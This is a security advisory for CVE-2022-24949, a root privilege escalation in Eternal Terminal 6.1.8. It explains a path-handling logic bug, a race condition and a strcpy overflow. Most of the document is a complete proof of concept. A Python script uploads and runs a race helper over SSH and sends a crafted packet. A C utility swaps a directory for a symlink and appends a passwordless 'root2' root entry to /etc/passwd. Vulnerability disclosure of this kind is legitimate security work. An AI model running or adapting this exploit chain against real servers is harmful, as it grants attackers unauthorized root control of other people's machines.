Eternal Terminal Root Privilege Escalation

High vladionescu published GHSA-hxg8-4r3q-p9rv on Jul 20

Package

Eternal Terminal (C++)

Affected versions	Patched versions
6.1.8	6.1.9

Description

Vulnerability Description:

An authenticated attacker can send a crafted packet to an Eternal Terminal server which allows them to change the ownership permissions on an arbitrary file. This can be leveraged to gain root privileges on the server.

This was due to a combination of a race condition and a buffer overflow in `PipeSocketHandler::listen()` as well as a logic bug in the `PortForwardHandler:createSource()`.

The logic bug: If you send a crafted `InitialPayload` packet containing a `PortForwardSourceRequest` and arbitrary `SocketEndpoint` you can invoke a call to `PipeSocketHandler::listen()` with the arbitrary `SocketEndpoint`. The `name` member variable of the `SocketEndpoint` is used by several system calls in `PipeSocketHandler::listen()` including `unlink()`, resulting in arbitrary file delete.

The race condition: Inside `PipeSocketHandler::listen()`, there are subsequent calls to `unlink()`, `bind()`, `chmod()`, and `chown()`, to the provided `name` member variable of SocketEndpoint without verifying the path. If an attacker can modify the file pointed to by the provided `name` variable (through symlink manipulation for example) between `bind()` and `chmod()` / `chown()`, they can arbitrarily change a file's permission and ownership. I was able to utilize this vulnerability to arbitrarily change the permissions on `/etc/passwd`, thus resulting in a root privilege escalation. However I found the race condition by itself was not reliable.

The buffer overflow: Inside `PipeSocketHandler::listen()` , there are no bounds checks on a `strcpy()` which takes the provided `name` variable and copies it into the `local.sun_path` member variable of a socket. The maximum path length for this field is 108 characters, but there is no limit on the size of the `name` variable, allowing for a stack-based buffer overflow. This could be utilized in a traditional memory corruption exploit (i.e. overwriting return addresses and controlling code execution), but would require additional work in order to prevent failure during the function and the epilog of the function (i.e. the `fd` variable needs to be valid for `bind()` and `listen()` , the `pipePath` variable needs to point to a crafted fake chunk in order to be freed properly during the function epilog). In this case I abused a discrepancy between path handling in `bind()` , where it truncates the provided path to 108 characters even if the member variable is longer. By overflowing the `local.sun_path` I can have the the `bind()` call point to a different path, which prevents a failure if the file already exists.

In the final exploit I use the `name` variable of `/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/aaa/etc/passwd` , and the race utility creates a large file for unlink in order to improve race condition reliability. In order to run the proof of concept compile the `.proto` file with protoc, compile the race utility statically for your target and run it locally on the target, and run the python script remotely against the target. This will change the ownership of `/etc/passwd` on the target machine and create the user `root2` which does not require a password to login to.

Proof of Concept:

This python file should be run remotely against the ET target.

```
#!/usr/bin/env python3

import argparse
import struct
import time
import socket
import paramiko
import ET_pb2

PROTOCOL_VERSION = 6
INITIAL_PAYLOAD = 253
HEADER_SIZE = 2

parser = argparse.ArgumentParser(description='[*] Root privesc exploit for Eternal Terminal, \
                                              assumes SSH access to box')
parser.add_argument('host',type=str,help='target machine')
parser.add_argument('user',type=str,help='user to SSH as')
parser.add_argument('--etport',type=int,default='2022',help='port ET is running on')
parser.add_argument('--sshport',type=int,default='22',help='port SSH is running on')
parser.add_argument('--racepath',type=str,default='./race',help='location of race utility')
args = parser.parse_args()

#Initializes SSH/SFTP connection
def initialize_ssh_connection(host, user, ssh_port):
```

```
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(host,ssh_port,username=user,timeout=4)
    return ssh

def initiate_client_connection(id, connection):
    #Craft request
    connect_request = ET_pb2.ConnectRequest()
    connect_request.clientId = id
    connect_request.version = PROTOCOL_VERSION

    request = connect_request.SerializeToString()
    length = struct.pack('l', len(request))
    #Send Request
    connection.sendall(length)
    connection.sendall(request)

# Send static initial payload, this was pulled from a client communication but could be
# dynamically constructed as well
def send_initial_payload(connection, key):
    """
[INFO 2021-10-27 08:35:43,553 client-main BackedWriter.cpp:17] Hexdump of payload
000000: 00 00 00 94 01 fd 5f f2 04 d1 66 43 5a 64 44 1e  ......_...fCZdD.
000010: 54 8f c8 fa 3f 4f 8a e9 c2 03 a0 86 0a 51 cb 37  T...?O.......Q.7
000020: 7d 95 10 0f 64 8b 2b 1a 2c 7c ac 79 df f9 8b 50  }...d.+.,|.y...P
000030: 15 7e 5a 5e fb d7 3a 81 65 66 aa 21 80 56 9b 67  .~Z^..:.ef.!.V.g
000040: 8b be 1a fd 85 2e 90 ee 16 46 e8 c7 17 23 a2 d5  .........F...#..
000050: 27 0c 1d 9c ae fe 3b 47 2b 0f 09 3e a6 31 f9 6d  '.....;G+..>.1.m
000060: ee df c1 65 63 55 26 ae e5 11 5d a9 df 15 d7 45  ...ecU&...]....E
000070: 12 a4 df 3e 8f 40 54 51 ab 2c 8a 0d 88 ae 3d 44  ...>.@TQ.,....=D
000080: c5 0c 2a c5 0a bc 60 48 df 01 f8 70 fb be dc 62  ..*...`H...p...b
000090: cb 36 a4 42 11 5c fc ac                          .6.B.\..

    #Example python code which would generate the payload
    initial_payload = ETerminal_pb2.InitialPayload()
    initial_payload.jumphost = False
    port_forward_source_request = ETerminal_pb2.PortForwardSourceRequest()
    source = ET_pb2.SocketEndpoint()
    destination = ET_pb2.SocketEndpoint()
    sourcePath =
'/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/

    destinationPath = '/tmp/test'
    source.name = sourcePath
    destination.name = destinationPath
    port_forward_source_request.source.CopyFrom(source)
    port_forward_source_request.destination.CopyFrom(destination)
    #initial_payload.reversetunnels = [port_forward_source_request]
    initial_payload.reversetunnels.append(port_forward_source_request)
    serialized_payload = initial_payload.SerializeToString()
"""

    packet = bytes.fromhex("00 00 00 94 01 fd 5f f2 04 d1 66 43 5a 64 44 1e 54 \
    8f c8 fa 3f 4f 8a e9 c2 03 a0 86 0a 51 cb 37 7d 95 10 0f 64 8b 2b 1a 2c 7c \
    ac 79 df f9 8b 50 15 7e 5a 5e fb d7 3a 81 65 66 aa 21 80 56 9b 67 8b be 1a \
    fd 85 2e 90 ee 16 46 e8 c7 17 23 a2 d5 27 0c 1d 9c ae fe 3b 47 2b 0f 09 3e \
```

```
    a6 31 f9 6d ee df c1 65 63 55 26 ae e5 11 5d a9 df 15 d7 45 12 a4 df 3e 8f \
    40 54 51 ab 2c 8a 0d 88 ae 3d 44 c5 0c 2a c5 0a bc 60 48 df 01 f8 70 fb be \
    dc 62 cb 36 a4 42 11 5c fc ac")
    connection.sendall(packet)

if __name__ == "__main__":
    #Initialize SSH/SFTP connection
    print("[*] Initializing SSH connection")
    ssh = initialize_ssh_connection(args.host, args.user, args.sshport)
    print("[*] Initializing SFTP connection")
    sftp = initialize_ssh_connection(args.host, args.user, args.sshport).open_sftp()


    #Clean up previous race binary
    print("[*] Cleaning up previous race binary")
    stdin, stdout, stderr = ssh.exec_command('rm -rf ~/race')
    exit_status = stdout.channel.recv_exit_status()
    #print(stdout.read().splitlines())

    print("[*] Killing previous race processes")
    stdin, stdout, stderr = ssh.exec_command('pkill race')
    exit_status = stdout.channel.recv_exit_status()

    #Get home directory
    print("[*] Getting home directory")
    stdin, stdout, stderr = ssh.exec_command('echo $HOME')
    exit_status = stdout.channel.recv_exit_status()
    home = stdout.read().splitlines()[0].decode('utf-8')

    #Copy new binary over
    print("[*] Copying new race binary over")
    sftp.put(args.racepath, f'{home}/race')

    #Run race binary
    print("[*] Running race utility in background")
    stdin, stdout, stderr = ssh.exec_command(f'chmod +x {home}/race && {home}/race&')
    exit_status = stdout.channel.recv_exit_status()
    #TODO: modify to wait for return from race binary to create 2.0G passwd file
    time.sleep(5)

    #Registering random id/key
    print("[*] Registering id/key on ET server")
    id = '25F81F3CC230D45B'
    key = 'E59AD03E34FC3AB9DED568F47EA27677'
    cmd = f'echo \'{id}/{key}_xterm-256color\n\' | etterminal&'
    stdin, stdout, stderr = ssh.exec_command(cmd)
    exit_status = stdout.channel.recv_exit_status()
    stdout.read().splitlines()

    #Setup ET socket connetion
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as connection:

        connection.connect((args.host, args.etport))
        print("[*] Initiating client connection")
        initiate_client_connection(id, connection) #TerminalClient.cpp:140
        print("[*] Sending payload")
```

```
        send_initial_payload(connection, key)
        print("[*] You can log in as root2 on the target machine without a password, try
it!")
```

This C file should be compiled statically and run locally on the target server.

```
#include <sys/inotify.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define EVENT_SIZE  ( sizeof (struct inotify_event) ) /*size of one event*/
#define MAX_EVENTS 4096/* Maximum number of events to process*/
#define LEN_NAME 4  /* Assuming that the length of the filename */
#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME ))

int fd,wd;
void sig_handler(int sig){
       inotify_rm_watch( fd, wd );
       close( fd );
       exit( 0 );
}

int main(int argc, char *argv[])
{
        //Cleanup previous exploit attempts
        printf("[*] Cleaning up previous exploit attempts\n");
        system("/bin/rm -rf /tmp/aaa");
        system("mkdir -p /tmp/aaa/etc");
        system("touch /tmp/aaa/etc/passwd");
        printf("[*] Making large file for unlink race\n");
        system("yes | dd of=/tmp/aaa/etc/passwd bs=1M iflag=fullblock count=2048");

    // watch the tmp/aaa/etc folder for the creation of the socket file
    char *path = "/tmp/aaa/etc";
    signal(SIGINT,sig_handler);

    fd = inotify_init();

    if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0)
    exit(2);

    wd = inotify_add_watch(fd,path,IN_DELETE);
    if(wd==-1){
        printf("Could not watch\n");
    }
    else {
        printf("Watching...\n");
```

```
    }

    while(1) {
        int i=0, length;
        char buffer[BUF_LEN];

        length = read(fd,buffer,BUF_LEN);

        while(i<length){
            struct inotify_event *event = (struct inotify_event *) &buffer[i];
                if(event->len){
                    if (strcmp(event-> name,"passwd") == 0) {
                        if ( event->mask & IN_DELETE ) {
                            rename("/tmp/aaa/etc", "/tmp/aaa/etcc");
                            symlink("/etc", "/tmp/aaa/etc");

                            printf("[*] Waiting to overwrite /etc/passwd\n");
                            int i = 0;
                            while(i < 3) {

                                if (access("/etc/passwd", W_OK)  == 0) {
                                    // Add malicious entry to passwd and login as user
                                    printf("[*] Adding entry root2 with no password");
                                    char * entry = "root2::0:0:root:/root:/bin/bash";
                                    FILE * pFile = fopen("/etc/passwd", "a");
                                    fprintf(pFile, entry);
                                    fclose(pFile);
                                    exit(1);
                                }
                                printf("[*] Waiting...\n");
                                sleep(1);
                                i = i + 1;
                            }
                            printf("[*] Something went wrong, try again!\n");
                            exit(-1);
                        }
                        }

                    i += EVENT_SIZE + event->len;
                }
        }
}
}
```

This protobuf file should be compiled using `protoc` and used as a reference for the python file.

```
//ET.proto
syntax = "proto2";
package et;
option optimize_for = LITE_RUNTIME;

enum EtPacketType {
  // Count down from 254 to avoid collisions
  HEARTBEAT = 254;
```

```
  INITIAL_PAYLOAD = 253;
  INITIAL_RESPONSE = 252;
}

message ConnectRequest {
  optional string clientId = 1;
  optional int32 version = 2;
}

enum ConnectStatus {
  NEW_CLIENT = 1;
  RETURNING_CLIENT = 2;
  INVALID_KEY = 3;
  MISMATCHED_PROTOCOL = 4;
}

message ConnectResponse {
  optional ConnectStatus status = 1;
  optional string error = 2;
}

message SequenceHeader { optional int32 sequenceNumber = 1; }

message CatchupBuffer { repeated bytes buffer = 1; }

message SocketEndpoint {
  optional string name = 1;
  optional int32 port = 2;
}
```

Timeline:

10/29/21: Vulnerabilities were disclosed to author of ET
11/3/21: Partial fixes for the most serious issues to ET were released (including this one)
1/27/22: 90 day deadline for public disclosure reached

Severity

High

CVE ID

CVE-2022-24949

Weaknesses

No CWEs

Credits

 adi-ajit